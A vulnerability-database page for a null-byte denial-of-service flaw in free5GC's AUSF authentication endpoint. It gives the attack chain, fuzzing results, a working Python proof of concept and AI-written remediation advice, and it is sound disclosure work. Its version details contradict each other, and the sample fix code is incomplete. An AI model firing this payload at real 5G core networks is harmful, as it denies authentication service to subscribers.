Skip to main content

free5GC AUSF EUVDEUVD-2026-51628

| CVE-2026-53551 MEDIUM
Improper Input Validation (CWE-20)
2026-07-31 https://github.com/free5gc/free5gc GHSA-qj55-47fp-p62j
6.9
CVSS 4.0 · Vendor: https://github.com/free5gc/free5gc
Share

Severity by source

Vendor (https://github.com/free5gc/free5gc) PRIMARY
6.9 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
8.2 HIGH

Network-accessible, unauthenticated endpoint with no prerequisites; C:L for stack trace disclosure; A:H because sustained flooding saturates the sole authentication path for all subscribers.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N
SUSE
MEDIUM
qualitative

Primary rating from Vendor (https://github.com/free5gc/free5gc).

CVSS VectorVendor: https://github.com/free5gc/free5gc

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
X

Lifecycle Timeline

3
Source Code Evidence Fetched
Jul 31, 2026 - 20:40 vuln.today
Analysis Generated
Jul 31, 2026 - 20:40 vuln.today
CVSS changed
Jul 31, 2026 - 20:22 NVD
6.9 (MEDIUM)

DescriptionCVE.org

Summary

The free5GC AUSF (Authentication Server Function) does not validate the supiOrSuci field in UE authentication requests. Null bytes (\x00) and other control characters pass through JSON parsing unchanged and are forwarded to the UDM in an unescaped URL path. This causes Go's net/url.Parse() to fail, returning HTTP 500 "System failure" and leaking internal stack traces. An unauthenticated attacker can trigger this at scale-4.1% of special_chars mutations produce HTTP 500-causing denial of service for all subscribers attempting authentication through the affected AUSF. CWE-20 (Improper Input Validation).

---

Details

The vulnerability lies in the AUSF's POST /nausf-auth/v1/ue-authentications handler. The JSON body includes a supiOrSuci field:

json
{"supiOrSuci": "imsi-208930000000031", "servingNetworkName": "...", "authType": "5G_AKA"}

The AUSF parses this JSON (Go's encoding/json accepts null bytes in strings per RFC 8259), then constructs a UDM URL by directly embedding the raw supiOrSuci value:

GET /nudm-ueau/v1/{supiOrSuci}/security-information/...

When supiOrSuci contains null bytes (\x00), the resulting URL is illegal under RFC 3986. Go's net/url.Parse() fails, and the error propagates as an unhandled internal error, returning HTTP 500 with a stack trace in the response body:

{"error":{"status":"INTERNAL_SERVER_ERROR","message":"System failure"}}

The AUSF container log shows: net/url: invalid control character in URL.

Attack chain:

1. Attacker → AUSF: POST {"supiOrSuci": "imsi-\x00...", ...}
2. AUSF: JSON parsed OK (null bytes valid in JSON strings)
3. AUSF → UDM: GET /nudm-ueau/v1/imsi-\x00.../security-information/...
4. UDM: net/url.Parse() fails (\x00 illegal per RFC 3986)
5. AUSF ← UDM: error
6. Attacker ← AUSF: HTTP 500 {"message": "System failure"}

Contrast with C/C++ 5GCs: The same null-byte injection in string fields causes SIGSEGV/SIGABRT in OAI (C++) and Open5GS (C), but "only" HTTP 500 in free5GC (Go). Go's memory safety converts the crash into a recoverable error-the service survives, but the denial is equally effective.

Discovery context: Found via automated 5G SBI fuzzing. The special_chars mutation strategy injected 10 consecutive null bytes into string-valued JSON fields. Across 24h of fuzzing:

StrategyRequestsHTTP 500sTrigger Rate
special_chars98,3044,0214.1%
seed_replay132,4287,9476.0%
grammar_aware30,9446832.2%

100% of HTTP 500s originated from the POST /nausf-auth/v1/ue-authentications endpoint.

PoC

No configuration changes needed. Default free5GC deployment is vulnerable.

python
#!/usr/bin/env python3
import http.client, json

AUSF_HOST = "127.0.0.1"
# Replace with AUSF IP (e.g. 172.24.0.50)
AUSF_PORT = 8000
# Bug: null bytes in supiOrSuci → HTTP 500
body_bug = json.dumps({
    "supiOrSuci": "imsi-\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
    "servingNetworkName": "5G:mnc093.mcc208.3gppnetwork.org",
    "authType": "5G_AKA"
})

conn = http.client.HTTPConnection(AUSF_HOST, AUSF_PORT, timeout=5)
conn.request("POST", "/nausf-auth/v1/ue-authentications",
             body=body_bug, headers={"Content-Type": "application/json"})
resp = conn.getresponse()
print(f"Bug:    Status {resp.status}")
# Returns 500
# Contrast: normal SUCI → 404 (expected, UE not found)
body_normal = json.dumps({
    "supiOrSuci": "imsi-208930000000031",
    "servingNetworkName": "5G:mnc093.mcc208.3gppnetwork.org",
    "authType": "5G_AKA"
})

conn2 = http.client.HTTPConnection(AUSF_HOST, AUSF_PORT, timeout=5)
conn2.request("POST", "/nausf-auth/v1/ue-authentications",
              body=body_normal, headers={"Content-Type": "application/json"})
resp2 = conn2.getresponse()
print(f"Normal: Status {resp2.status}")
# Returns 404

Run: python3 reproduce.py

Expected fix (input validation + URL escaping):

go
import "regexp"
import "net/url"

var suciRegex = regexp.MustCompile(`^[a-zA-Z0-9\-]+$`)

func validateSUCI(supiOrSuci string) error {
    if strings.ContainsFunc(supiOrSuci, func(r rune) bool {
        return r < 0x20 || r > 0x7e
    }) {
        return fmt.Errorf("SUCI contains illegal characters")
    }
    return nil
}

// URL-escape before constructing UDM request
udmURL := fmt.Sprintf("http://%s/nudm-ueau/v1/%s/security-information/...",
    udmAddr, url.PathEscape(supiOrSuci))

Impact

PropertyValue
AuthenticationNone required (unauthenticated SBI endpoint)
ImpactDenial of Service - AUSF returns HTTP 500 for all authentication requests during attack
Information LeakHTTP 500 response leaks internal net/url.Parse error, enabling backend fingerprinting
Affected versionfree5GC v4.2.2 (latest)
FixValidate supiOrSuci before URL construction; use url.PathEscape()

Environment: Ubuntu 22.04, kernel 6.8.0-110, free5GC Docker containers on bridge network 172.24.0.0/16. NFs deployed: NRF, UDM, UDR, AUSF, AMF, SMF, PCF, NSSF, MongoDB.

AnalysisAI

Null byte injection in the free5GC Authentication Server Function (AUSF) v4.2.1 and earlier allows unauthenticated remote attackers to crash Go's URL parser and force HTTP 500 responses on the authentication endpoint, denying authentication service to all legitimate 5G subscribers sharing that AUSF instance. A publicly available Python PoC is included in the vendor's own security advisory, and fuzzing demonstrated a 4.1% trigger rate across nearly 100,000 requests - confirming reliable, scalable exploitation against the default deployment with no special configuration required. No public exploit or CISA KEV listing is confirmed at time of analysis, but the trivially automatable nature of the attack makes it a material risk for 5G core operators.

Technical ContextAI

The vulnerability exploits a semantic gap between two Go standard library components: encoding/json (RFC 8259-compliant, silently accepts null bytes in string values) and net/url.Parse() (RFC 3986-compliant, rejects control characters including null bytes as illegal in URL paths). The AUSF's POST /nausf-auth/v1/ue-authentications handler accepts a JSON body containing a supiOrSuci field (SUPI = Subscription Permanent Identifier; SUCI = Subscription Concealed Identifier - 3GPP-defined 5G subscriber identity formats), then directly embeds the raw, unvalidated field value into a UDM northbound URL path as GET /nudm-ueau/v1/{supiOrSuci}/security-information/... without invoking url.PathEscape() or any format validation. The CPE identifiers (pkg:go/github.com_free5gc_free5gc, pkg:go/github.com_free5gc_ausf) confirm this is a Go-native 5G core. CWE-20 (Improper Input Validation) is the root cause class: the AUSF trusts JSON-decoded strings at the application boundary rather than enforcing the 3GPP-defined character set for SUPI/SUCI. The fix at commit bfc4a10094dbacbd862baa4686829f3fcc06ce1e (PR #61) gates the handler on validator.IsValidSupi() and validator.IsValidSuci() checks, returning HTTP 400 with a structured ProblemDetails response before URL construction is attempted.

RemediationAI

Upgrade free5GC to v4.2.2 (https://github.com/free5gc/free5gc/releases/tag/v4.2.2) and the AUSF module to v1.4.5 (https://github.com/free5gc/ausf/releases/tag/v1.4.5), which apply the input validation patch from PR #61 (commit bfc4a10094dbacbd862baa4686829f3fcc06ce1e); this causes the handler to reject malformed supiOrSuci values with HTTP 400 before any URL construction occurs, with no functional impact on well-formed requests. For operators unable to patch immediately, deploy a reverse proxy or API gateway in front of the AUSF SBI port that filters requests containing raw control characters (bytes < 0x20 or 0x7F) in JSON string fields before forwarding; this adds latency but prevents the malformed input from reaching the vulnerable handler. Additionally, restrict network access to the AUSF SBI port (default 8000) via firewall ACLs or Docker network policies to allow connections only from trusted AMF and NRF source addresses, reducing the attack surface from any network-reachable host to authorized core nodes only - note this does not eliminate the vulnerability if a core node is compromised but significantly limits exploitability in practice.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

Vendor StatusVendor

SUSE

Severity: Moderate
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected

Share

EUVD-2026-51628 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy